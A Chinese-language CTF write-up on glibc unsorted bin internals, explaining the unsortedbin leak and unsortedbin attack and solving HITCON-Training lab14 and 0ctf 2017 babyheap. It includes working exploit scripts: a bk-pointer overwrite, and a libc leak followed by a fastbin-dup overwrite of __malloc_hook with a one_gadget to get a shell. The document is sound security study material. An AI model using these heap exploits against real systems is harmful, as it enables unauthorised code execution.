Unsorted bins
unsorted bin顾名思义就是没有排序过的bins
我们看一下main_arena中的结构
其中可以看到有0x20到0xb0的fastbins（但是实际上最后三个不用）
之后还有从0x20到0x3f0的smallbins
之后是0x400到0x80000的largebins
这些bins都是双链表，所以比fastbins访问起来要慢一点
关于unsorted bins的来源，主要有三种情况：
- 如果一个chunk与top chunk不相邻，并且大小大于0x80（即不属于fastbins），在被free后会加入到unsorted bins中；
- 申请chunk时有时会从一个比较大的chunk中分割成两半，一部分用来分配内存，另一部分则是会加入到unsotred bins中；
- 当执行malloc_consolidate合并空闲堆块时，如果这个chunk不与top chunk相连，有可能会把合并后的chunk放在unsorted bin中；
在执行malloc的时候，如果在fastbin、smallbin都没有找到合适大小的块，就会在unsorted bin中进行遍历，搜索合适大小的chunk，同时会顺便把unsortedbin中的chunk进行排序，根据chunk的大小放到合适的位置；
unsorted bin的特点是，匹配时会用bk从后向前遍历，对没有排序的chunk进行sort并unlink，如果遇到合适的chunk就会将其unlink并malloc分配；
假设目前unsorted bins中有三项，分别是0x100、0x90、0x400的chunk
这时假设我们执行了一个malloc(0x88)，需要一个大小为0x90的chunk
在unsorted bin搜索中从后向前搜索，发现了0x400的chunk
发现大小不符合，将这个chunk放到0x400应该在的large bins中，并将其unlink
unlink的过程实际上是执行了head->bk = p->bk，让头节点中的bk指向unlink掉的chunk之前的chunk
再继续运行搜索发现unsortedbins的头的bk指向的正好是0x90大小，则将其unlink并直接分配给malloc使用；
Unsortedbin 攻击
unsortedbin相关的攻击主要有两个
一是unsortedbin leak
二是unsortedbin attack
unsortedbin leak
我们使用malloc_testbed试一下
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)
malloc(0x28)
free(chuk_B)
首先申请两个不属于fastbin的chunk
之后申请一个fastbin的chunk，为了防止与top chunk相连导致直接合并
最后释放b，在GDB中调试看到确实放在了unsortedbin中
现在由于unsortedbin中除了头节点只有这一项
所以这个chunk_B中的fd、bk都指向了main_arena
查看一下main_arena中unsortedbin的fd和bk
可以看到两个也都是指向了这个chunk
那么我们修改一下脚本，再把这个chunk申请回来
malloc(0x88)
可以看到，这时chunk中的fd和bk是没有被清除的
因此通过输出函数之类的是可以直接输出这两个的值的
unsortedbin leak就是通过输出unsortedbin list中链表尾部的chunk的fd字段，泄漏出main_arena中的地址
由于main_arena一般是在libc中，有了这个值我们就得到了libc中的基地址；就可以通过这个方法绕过ASLR
另外，一般main_arena的起始地址与__malloc_hook的地址只差0x10
所以leak实际上的效果是：
输出了fd即main_arena中unsortedbin的值->
通过这个地址计算出main_arena的起始地址->
通过这个起始地址获得libc的基地址
unsortedbin attack
unsortedbin attack就是针对这个bk在写时没有进行验证的攻击
比较低版本的glibc中没有校验这个最后的bin到底是不是双向链表中的成员
在结合堆溢出或UAF的漏洞编辑unsortedbin中的bk指针后，就可以直接将main_arena中的bk覆盖写掉
在glibc/malloc/malloc.c中的_init_malloc有这样一段代码
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
这会将本unsortedbin的位置写入到bck->fd
所以我们控制了bk就可以将unsorted_chunks(av)写入到任意位置；
还是之前的那个程序，我们在申请并释放chunk_B之后编辑一下chunk_B，在bk写入伪造的指针
在原本的脚本中加了这样一行
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)
malloc(0x28)
free(chuk_B)
edit(chunk_B,p64(0xdeadbeef) + p64(heap))
运行看到
看到chunk_B的fd和bk都变成了我们写入的值
这之后再执行一次
malloc(0x88)
这时就会申请unsorted bin中的这个块，将其从原本的地方unlink
同时会在main_arena->unsortedbin_bk写入我们伪造的这个bk
为我们这里将bk指向了chunk_A
可以看到chunk_A的fd也变成了main_arena中的unsortedbin
这里的两个写操作是
p = victim;
p->bk->fd = p->fd;
p->fd->bk = p->bk;
由于p是链表尾部的chunk，p->fd是main_arena中unsortedbin头
所以实际上就是头中的bk被写为我们伪造的bk（副作用）
另外在我们伪造的chunk的fd写入unsortedbin头的fd（核心）
核心的效果就是可以在任意地址写入这个unsortedbin head的fd
实例
这边我们做两道题学习一下
HITCON-Training lab14
程序是有源代码的，可以看到主要的内容就是一个循环，如果magic>4869就可以输入flag
void l33t(){
system("cat /home/magicheap/flag");
}
int main(){
char buf[8];
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
while(1){
menu();
read(0,buf,8);
switch(atoi(buf)){
case 1 :
create_heap();
break ;
case 2 :
edit_heap();
break ;
case 3 :
delete_heap();
break ;
case 4 :
exit(0);
break ;
case 4869 :
if(magic > 4869){
puts("Congrt !");
l33t();
}else
puts("So sad !");
break ;
default :
puts("Invalid Choice");
break;
}
}
return 0 ;
}
要执行magic，我们需要满足两个条件，一是case设置为4869；二是让magic>4869
而与magic有关的地方只有在初始化堆时将其设置为了0
我们可以利用unsortedbin attack向magic处写入unsortedbin的fd
这个数一定是大于4869的
顺理成章的就可以写出脚本
malloc(0x28, '')
malloc(0x98, '')
malloc(0x28, '')
free(1)
payload = p64(0)*5 + p64(0xa1) + p64(0xdeadbeef) + p64(elf.sym.magic-0x10)
edit(chunk_A, len(payload), payload)
malloc(0x98, '')
但是运行的时候发现这个repo 里面现成的程序是和默认的libc链接起来的，这样free之后被加入到了tcachebin而不是unsortedbin
所以用patchelf进行修改，或者也可以重新编译一下
关于patchelf的安装
git clone https://github.com/NixOS/patchelf
cd patchelf
./bootstrap.sh
./configure
make
make install
使用时
patchelf --set-rpath .links magicheap
这样就可以为这个二进制设置一个runpath
只需要在.links下放好需要的ld.so.2和libc.so.6两个软链接就可以了
不过这边直接重新编译了一下
gcc magicheap.c -no-pie -o magicheap -Wl,--rpath=.links
运行可以看到这里magic变量的值已经被覆盖了
之后再发送过去4869
就执行了这样一个cat读flag的操作，不过这里没有创建文件夹，就提示no such file了；
babyheap_0ctf_2017
这题可以直接在buuoj上做
首先checksec发现安全机制都打开了
漏洞点位于填充数据的函数中
这里在fill这个选项中虽然进行了长度判断，但是这个比较不是和chunk本身的大小进行比较，而是和用户输入的size比较，所以只要输入一个比较大的size就可以溢出chunk后面的内容
按照double free做一下试试看
a = malloc(0x38)
b = malloc(0x38)
free(a)
free(b)
free(a)
这时gdb调试看到
tcachebins
这是因为链接的库文件不对，网上搜了之后安装了patchelf和glibc-all-in-one
patchelf --set-interpreter=~/glibc-all-in-one/ld.so.2 babyheap
patchelf --set-rpath=~/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ babyheap
之后就可以展开fastbin attack了
但是这个程序开启了Full RELRO和PIE
那么修改got表是不可能了，尝试修改__free_hook或__malloc_hook
首先我们需要泄漏出一个libc的地址，之后利用fastbin attack修改__malloc_hook为one_gadget的地址
泄漏libc地址的话可以使用unsortedbin leak
但是这个程序中分配内存时使用的是calloc而不是malloc
分配之后会清零，所以没办法简单的直接读出来
思路是：
- 首先free两个fastbin，记为a,b
- 申请一个unsortedbin，记为c
- 利用溢出修改第二次free的fastbin (b) 的fd，使其指向unsortedbin (c)
- 利用溢出修改unsortedbin的size，伪造成fastbin的大小
- malloc两次fastbin，申请到的空间分别是原本b、c所在的空间；这时同时有两个指针指向c
- 利用溢出修改unsortedbin的size，使其恢复为一个unsortedbin的大小；
- free掉unsortedbin
- 利用另一个fastbin的指针泄漏出unsortedbin中的fd和bk，即main_arena的地址
这里有一个注意点，虽然我们不知道堆的地址，但是由于CTF的程序运行时都是堆刚刚初始化的状态，第一个堆快的第8位应该是按0对齐的，所以我们修改fastbin时只修改第八位就可以指向unsortedbin
核心代码
chunk_A = malloc(0x28)
chunk_eB = malloc(0x28)
chunk_B = malloc(0x28)
chunk_eC = malloc(0x28)
chunk_C = malloc(0x88)
chunk_D = malloc(0x28)
# avoid consolidate
free(chunk_A)
free(chunk_B)
fill(chunk_eB,49,p64(0)*5 + p64(0x31) + p8(0xc0))
# point to chunk_C
fill(chunk_eC,48,p64(0)*5 + p64(0x31))
# change size to a fastbin
malloc(0x28)
dup = malloc(0x28)
# point to chunk_C
fill(chunk_eC,48,p64(0)*5 + p64(0x91))
# change size back to unsortedbin
free(chunk_C)
执行这一段脚本
可以看到unsotredbin中的fd和bk都指向了main_arena
那么我们就成功拿到了一个泄漏的libc地址
由于一般__malloc_hook与main_arena只差0x10的距离，我们直接相减就可以得到__malloc_hook的地址
接下来就尝试覆盖__malloc_hook改为system函数或者是one_gadget
再一次利用fastbin_dup，这一次修改其中的fd指向__malloc_hook附近的fake chunk
这里0xaed有一个可以用于伪造的地方
那么
# get shell
chunk_E = malloc(0x68)
chunk_eF = malloc(0x38)
chunk_F = malloc(0x68)
free(chunk_E)
free(chunk_F)
payload = b'\x00'*0x38 + p64(0x71) + p64(malloc_hook-0x23)
# find_fake_fast
fill(chunk_eF,len(payload),payload)
这样之后再申请两次大小为0x68的chunk就可以获得一个在malloc_hook附近的chunk了
malloc(0x68)
chunk = malloc(0x68)
fill(chunk,0x1b,b'\x00'*0x13 + p64(one))
在其中填上gap和one_gadget的地址，结束；
chunk_A = malloc(0x28)
chunk_eB = malloc(0x28)
chunk_B = malloc(0x28)
chunk_eC = malloc(0x28)
chunk_C = malloc(0x88)
chunk_D = malloc(0x28)
free(chunk_A)
free(chunk_B)
fill(chunk_eB,49,p64(0)*5+p64(0x31)+p8(0xc0))
fill(chunk_eC,48,p64(0)*5+p64(0x31))
malloc(0x28)
dup = malloc(0x28)
fill(chunk_eC,48,p64(0)*5+p64(0x91))
free(chunk_C)
io.recvuntil('Command: ')
io.sendline('4')
io.recvuntil('Index: ')
io.sendline(str(dup))
io.recvuntil('Content: \n')
fd = u64(io.recv(6).ljust(8,b'\x00'))
main_arena = fd-0x58
success("Main Arena's Address is "+hex(main_arena))
malloc_hook = main_arena-0x10
libc = LibcSearcher('__malloc_hook',malloc_hook)
libc_base = malloc_hook - libc.dump('__malloc_hook')
system = libc_base + libc.dump('system')
success("System's Address: "+hex(system))
one = libc_base +0x4526a
success("One Gadget's Address: "+hex(one))
# get shell
chunk_E = malloc(0x68)
chunk_eF = malloc(0x38)
chunk_F = malloc(0x68)
free(chunk_E)
free(chunk_F)
payload = b'\x00'*0x38 + p64(0x71) + p64(malloc_hook-0x23)
# find_fake_fast
fill(chunk_eF,len(payload),payload)
malloc(0x68)
chunk = malloc(0x68)
fill(chunk,0x1b,b'\x00'*0x13 + p64(one))
malloc(0x8)
io.interactive()